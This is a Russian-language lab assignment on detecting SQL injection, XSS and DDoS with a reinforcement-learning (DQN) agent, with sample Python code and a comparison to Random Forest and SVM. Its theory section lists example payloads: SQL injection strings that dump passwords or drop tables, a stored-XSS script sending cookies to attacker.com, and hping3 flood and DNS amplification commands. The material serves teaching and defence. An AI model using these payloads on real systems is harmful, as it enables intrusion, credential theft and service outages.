Практическая работа 2. Обнаружение атак на веб-приложения с применением обучения с подкреплением

Цель работы: Освоить методы обнаружения и предотвращения атак на веб-приложения (SQL-инъекции, XSS, DDoS) с использованием обучения с подкреплением (Reinforcement Learning, RL).

Сначала снова напишу теорию о том, что существует в этой жизни.

SQL-инъекции, XSS-атаки и DDoS-атаки представляют собой различные методы атак на веб-приложения, каждая из которых нацелена на уязвимости веб-систем.

SQL-инъекции представляют собой атаки, при которых злоумышленник вводит вредоносные SQL-запросы в поля ввода веб-приложения, чтобы получить несанкционированный доступ к базе данных. Это позволяет извлекать, изменять или удалять данные, обходя механизмы аутентификации.

Примеры SQL-инъекций:
Обход аутентификации:
В форме входа атакующий вводит:
' OR '1'='1
Если запрос выглядит так:
SELECT * FROM users WHERE username = '$input' AND password = '$password';
Он становится:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
Так как '1'='1' всегда истинно, атакующий получает доступ без пароля.
Извлечение всех записей:

Запрос:
' UNION SELECT username, password FROM users --
Если сервер не проверяет ввод, атакующий получает список всех пользователей и их пароли.
Если в поле ввода передать:
'; DROP TABLE users; --
И сервер выполняет запрос без проверки, таблица users будет удалена.
Внедрение подзапросов, например, чтобы узнать имя текущего пользователя базы данных:
' UNION SELECT user() –

XSS (межсайтовый скриптинг)

Есть недавний случай. Автору этой статьи повезло по-настоящему: он обнаружил XSS-уязвимость в одном из поддоменов Google. В этой статье автор рассказывает о том, как ему удалось заработать на этой находке и оставить свое имя в «зале славы» багхантеров Google.

Этот случай наглядно подтверждает простую истину: даже технологические гиганты вроде Google не застрахованы от уязвимостей и должны постоянно совершенствовать свою защиту. Если бы до этой уязвимости добрались реальные злоумышленники, то это могло затронуть безопасность множества пользователей.

Ссылки на статью:
https://infosecwriteups.com/hacking-the-giant-how-i-discovered-googles-vulnerability-and-hall-of-fame-recognition-694a9c18684a
https://habr.com/ru/companies/bastion/articles/889988/

XSS-атаки (межсайтовый скриптинг) направлены на внедрение вредоносного JavaScript-кода в веб-страницы, которые затем исполняются у пользователей. Это может привести к краже cookie-файлов, краже учетных данных или перенаправлению пользователей на вредоносные сайты. Различают отраженный (reflected) XSS, когда вредоносный код передается в URL или в параметрах запроса, и постоянный (stored) XSS, когда код сохраняется в базе данных и выполняется при загрузке страницы.
Примеры XSS:

Отраженный XSS (Reflected XSS)
Злоумышленник отправляет ссылку с вредоносным скриптом, который выполняется при переходе:
https://example.com/search?q=<script>alert('Hacked!')</script>
Если сайт не экранирует ввод, браузер пользователя выполнит alert('Hacked!').

Сохраненный XSS (Stored XSS)
Атакующий публикует комментарий на сайте:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Когда другой пользователь просматривает страницу, скрипт отправляет его cookie атакующему.

DOM-based XSS
Сайт использует JavaScript для работы с параметрами URL:
document.write("Hello " + location.search.substring(1));
Атакующий передает ссылку:
https://example.com/?<script>alert('XSS')</script>
Сценарий выполняется в браузере жертвы.

DDoS-атаки (атаки отказа в обслуживании)
DDoS-атаки (распределенные атаки отказа в обслуживании) направлены на перегрузку серверов, что делает веб-приложение недоступным для обычных пользователей. Они выполняются с помощью ботнетов — сетей зараженных устройств, отправляющих огромный поток запросов на сервер жертвы. Это приводит к исчерпанию вычислительных ресурсов и блокировке легитимных пользователей. Примеры DDoS-атак:

HTTP Flood (Затопление HTTP-запросами)

Атакующий ботнет отправляет тысячи GET/POST-запросов на сервер, перегружая его.
curl -X POST https://target.com -d "data=spam"
Вариант атаки: загрузка ресурсоемкой страницы многократными запросами
.
SYN Flood (Затопление SYN-пакетами)
Атакующий отправляет множество SYN-запросов, не завершая трехэтапное рукопожатие TCP.
hping3 -S -p 80 --flood target.com
Сервер ожидает завершения соединений, расходуя ресурсы.

UDP Flood (UDP-шторм)
Отправка большого количества UDP-пакетов на случайные порты.
hping3 --udp -p 53 --flood target.com

Amplification Attack (Атака усиления)
Использование открытых DNS, NTP или Memcached-серверов для отправки ответов жертве.
Например, DNS Amplification:

dig ANY large-domain.com @open-dns-server
Сервер отправляет огромный ответ на IP жертвы.

Последствия DDoS-атак могут быть крайне разрушительными для веб-приложений и сервисов. Прежде всего, они становятся недоступными для пользователей, что приводит к серьезным сбоям в работе. Это влечет за собой финансовые потери, поскольку простои могут привести к снижению прибыли, ухудшению репутации компании и потере клиентов. Дополнительно увеличивается нагрузка на серверное оборудование, что может привести к перегреву, выходу из строя аппаратных компонентов и необходимости дорогостоящего восстановления инфраструктуры.

В данной работе обучение с подкреплением используется для автоматического выявления и блокировки таких атак. Агент обучается анализировать параметры HTTP-запросов и на основе исторических данных классифицировать их как безопасные или вредоносные. Он получает вознаграждение за правильную блокировку вредоносных запросов и штраф за пропуск атак. Такой подход позволяет адаптироваться к новым видам атак без необходимости ручного обновления сигнатур или правил фильтрации.

Задание:

Изучить основные типы атак на веб-приложения: SQL-инъекции, XSS, DDoS. Подготовить датасет с примерами нормального и аномального трафика. Разработать среду RL на основе OpenAI Gym для моделирования веб-трафика.Реализовать агента

обучения с подкреплением для автоматической фильтрации атакующего трафика. Провести обучение агента и оценить его эффективность.

Описание выполнения работы:

Подготовка данных/ Сбор или генерация данных с примерами атак SQL-инъекций, XSS и DDoS. Предобработка данных: очистка, нормализация, разбиение на обучающую и тестовую выборки.

Берем любой датасет с примерами атак SQL-инъекций, XSS и DDoS.

Создание среды RL: Определить пространство состояний (параметры HTTP-запросов: метод, заголовки, тело запроса, параметры URL и т. д.). Определяем пространство действий (например, классификация запроса как "безопасный" или "вредоносный"). Определить функцию вознаграждения (например, штраф за пропуск атаки и бонус за верное блокирование вредоносного запроса).

Разработка агента RL: Использовать алгоритм Q-Learning, Deep Q-Network (DQN) или другой метод. Реализовать нейросетевую модель для обработки HTTP-запросов и принятия решений.

Обучение и тестирование: Запустить процесс обучения агента. Оценить качество модели, используя метрики (точность, полнота, F1-score). Провести тестирование на новых данных.

Последнее: Сравнить RL-модель с классическими методами обнаружения атак (например, сигнатурные методы, SVM, Random Forest).

Примерчик:

Ваш код может быть каким угодно, главное, чтобы условия были выполнены

```python
import numpy as np
import pandas as pd
import tensorflow as tf
import random
import gym
from gym import spaces
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.svm import SVC
from sklearn.metrics import classification_report
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Flatten
from tensorflow.keras.optimizers import Adam

#Загрузка и предобработка данных
data = pd.read_csv('cyber_attacks.csv')  # Датасет с HTTP-запросами (SQLi, XSS, DDoS)
data = data.dropna()

#Преобразование категориальных данных в числовые
from sklearn.preprocessing import LabelEncoder
encoder = LabelEncoder()
data['attack_type'] = encoder.fit_transform(data['attack_type'])

#Разделение на обучющую и тестовую выборки
X_train, X_test, y_train, y_test = train_test_split(data.drop(columns=['attack_type']), data['attack_type'], test_size=0.2, random_state=42)
```

```python
#Создание среды RL
class CyberSecurityEnv(gym.Env):
    def __init__(self, X, y):
        super(CyberSecurityEnv, self).__init__()
        self.X = X.values
        self.y = y.values
        self.current_index = 0
        self.action_space = spaces.Discrete(2)  # 0 - безопасный, 1 - вредоносный
        self.observation_space = spaces.Box(low=0, high=1, shape=(self.X.shape[1],), dtype=np.float32)

    def reset(self):
        self.current_index = 0
        return self.X[self.current_index]

    def step(self, action):
        correct_label = self.y[self.current_index]
        reward = 1 if action == correct_label else -1  # Вознаграждение за правильную классификацию
        self.current_index += 1
        done = self.current_index >= len(self.X)
        return self.X[self.current_index % len(self.X)], reward, done, {}

env = CyberSecurityEnv(X_train, y_train)
```

```python
#Разработка агента DQN
def build_dqn_model(input_shape, action_size):
    model = Sequential([
        Dense(64, activation='relu', input_shape=(input_shape,)),
        Dense(64, activation='relu'),
        Dense(action_size, activation='linear')
    ])
    model.compile(optimizer=Adam(learning_rate=0.001), loss='mse')
    return model

dqn_model = build_dqn_model(X_train.shape[1], env.action_space.n)
```

```python
#Обучение агента
def train_dqn(model, env, episodes=1000):
    gamma = 0.95
    epsilon = 1.0
    epsilon_min = 0.01
    epsilon_decay = 0.995
    memory = []
    batch_size = 32

    for episode in range(episodes):
        state = env.reset()
        total_reward = 0
        done = False
        while not done:
            if np.random.rand() <= epsilon:
                action = random.choice([0, 1])
            else:
                action = np.argmax(model.predict(np.array([state]))[0])

            next_state, reward, done, _ = env.step(action)
            memory.append((state, action, reward, next_state, done))
            total_reward += reward

            if len(memory) > batch_size:
                minibatch = random.sample(memory, batch_size)
                for s, a, r, s_next, d in minibatch:
                    target = r
                    if not d:
                        target += gamma * np.max(model.predict(np.array([s_next]))[0])
                    target_f = model.predict(np.array([s]))
                    target_f[0][a] = target
                    model.fit(np.array([s]), target_f, epochs=1, verbose=0)

            state = next_state

        epsilon = max(epsilon_min, epsilon * epsilon_decay)
        print(f"Episode {episode + 1}: Reward: {total_reward}")

train_dqn(dqn_model, env)
```

```python
#Оценка модели
def evaluate_model(model, X, y):
    predictions = [np.argmax(model.predict(np.array([x]))[0]) for x in X.values]
    print(classification_report(y, predictions))

evaluate_model(dqn_model, X_test, y_test)

#Сравнение с классическими методами
rf = RandomForestClassifier()
rf.fit(X_train, y_train)
y_pred_rf = rf.predict(X_test)
print("Random Forest:")
print(classification_report(y_test, y_pred_rf))

svm = SVC()
svm.fit(X_train, y_train)
y_pred_svm = svm.predict(X_test)
print("SVM:")
print(classification_report(y_test, y_pred_svm))
```